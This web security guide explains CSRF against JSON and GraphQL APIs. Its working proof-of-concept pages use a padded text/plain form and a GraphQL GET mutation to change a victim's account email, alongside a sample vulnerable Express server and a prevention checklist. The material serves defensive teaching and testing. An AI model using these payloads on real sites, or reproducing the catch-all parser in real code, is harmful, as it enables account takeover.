Skip to content
highCVSS 8.1CWE-352A01:2021 – Broken Access Control

JSON, text/plain, and GraphQL

Smuggling a JSON document through enctype="text/plain", content-type confusion in body parsers, and GraphQL over GET and form encodings.

The premise teams rely on, and why it leaks

A very common belief: "our API only accepts application/json, and a form cannot send that, so we are not CSRF-able."

The first half is sound. application/json is not one of the three CORS-safelisted content types, so a fetch that sets it preflights, and a form cannot emit it at all. If the server genuinely requires application/json, that is a real defence.

The leak is in the word requires. The belief holds only if the server rejects everything else. In practice a great many body parsers are configured to parse whatever arrives:

  • express.json({ type: '*/*' }) — parses every request body as JSON regardless of the header.
  • Flask's request.get_json(force=True) — same, by name.
  • Any hand-rolled JSON.parse(rawBody) in a handler.
  • Spring's @RequestBody when the endpoint declares no consumes.
  • Frameworks that fall back to a permissive parser when the header is unrecognised.

Against any of those, text/plain gets a JSON document through with no preflight and full cookies. The rest of this guide is how.

The text/plain padding trick

A form with enctype="text/plain" writes each field as name=value, separated by CRLF, with no encoding whatsoever — no percent-encoding, no quoting. That verbatim behaviour is what makes it useful: you can put arbitrary characters, including a complete JSON document, into the body.

The obstacle is the = the browser inserts between the name and the value. Left unhandled it lands in the middle of your JSON and breaks the parse.

The fix is to cut the finished JSON document in two at a point where a stray = is harmless — inside a string value — and put the two halves in the field's name and value. The standard construction appends a throwaway key whose value is an empty string, then splits between that value's two quotes. The = lands inside the throwaway string and the document parses cleanly.

So for {"email":"attacker@evil.example"} you emit one input:

  • name: {"email":"attacker@evil.example","_":"
  • value: "}

and the browser writes {"email":"attacker@evil.example","_":"="} — valid JSON, with a harmless extra key. Pick a padding key the application does not use; if _ is taken, use __.

The PoC

HTMLattacker.example/index.htmlVulnerable
<!doctype html>
<html>
  <body>
    <!-- Every double quote in the field name is HTML-escaped as &quot;. Miss
         one and the markup itself breaks; escape them twice and the literal
         text &quot; ends up in the request body. This is the fiddliest part
         of writing the PoC by hand -- the generator on /poc does it and the
         build fails if it ever stops round-tripping. -->
    <form id="poc" action="https://api.example/account" method="POST"
          enctype="text/plain">
      <input type="hidden"
             name="{&quot;email&quot;:&quot;attacker@evil.example&quot;,&quot;_&quot;:&quot;"
             value="&quot;}" />
    </form>
    <script>document.getElementById('poc').submit()</script>
  </body>
</html>

What arrives at the server

HTTP
POST /account HTTP/1.1
Host: api.example
Cookie: session=eyJ1c2VyIjoidmljdGltIn0
Content-Type: text/plain
Origin: https://attacker.example
Sec-Fetch-Site: cross-site

{"email":"attacker@evil.example","_":"="}

# No preflight happened -- text/plain is CORS-safelisted, so the browser sent
# this directly. The cookie is attached. The body is valid JSON.
#
# A server that checks the Content-Type answers 415 here and is safe.
# A server that just parses the body accepts an account takeover.

Verifying the endpoint is actually reachable

Before building the PoC, establish that the server will parse a text/plain body at all. This takes one request and saves a lot of time:

  1. Take a legitimate request in your proxy.
  2. Change Content-Type: application/json to Content-Type: text/plain. Change nothing else.
  3. Replay it.
  • Same success response — the parser ignores the content type. The attack is on.
  • 415 Unsupported Media Type — the content type is enforced. Move on.
  • 400 — ambiguous. The parser may have tried and failed for an unrelated reason; check the error body.

Also try multipart/form-data and application/x-www-form-urlencoded in the same way. Some frameworks accept a form-encoded body for a JSON endpoint through model binding, which is easier to exploit than the padding trick and is the same class of bug. See Method and Content-Type Switching.

Remember that the cookie still has to arrive. This trick defeats the content type defence, not SameSite — pair it with a shape from the live rows in CSRF in 2026.

GraphQL

HTMLVulnerable
<!-- Many GraphQL servers accept queries over GET with the query in the query
     string. If mutations are permitted over GET -- and several server
     implementations allow it, some by default -- this is a top-level
     navigation, so it carries a Lax cookie and works in every browser.

     Test this first. It is the shortest path and it needs no body encoding
     tricks at all. -->
<script>
  location = 'https://api.example/graphql?query=' +
    encodeURIComponent('mutation{updateEmail(email:"attacker@evil.example"){id}}')
</script>

Prevention

JavaScriptserver.jsVulnerable
const express = require('express')
const app = express()

// Parses EVERY body as JSON regardless of the declared content type. This
// single option re-opens the text/plain vector on an API that would otherwise
// have been unreachable from a form.
//
// It is usually added to work around a client that sends the wrong header --
// fix the client instead.
app.use(express.json({ type: '*/*' }))

app.post('/account', (req, res) => {
  updateEmail(req.session.userId, req.body.email)
  res.json({ ok: true })
})

Checklist

  • Reject, do not merely prefer, the expected content type. Answer 415 for anything else on state-changing routes.
  • Never configure a catch-all body parser. type: '*/*', force=True, and hand-rolled JSON.parse of the raw body are the three spellings of this bug.
  • Disable mutations over GET in GraphQL, and disable GET queries entirely if you can. Check your server's default — several allow it.
  • Do not treat "we use JSON" as the CSRF defence. It is a useful layer, but it fails to a single misconfigured parser. Keep a token underneath it.
  • Test the content-type swap on every state-changing endpoint as a matter of routine — it is one replayed request and it is the whole finding.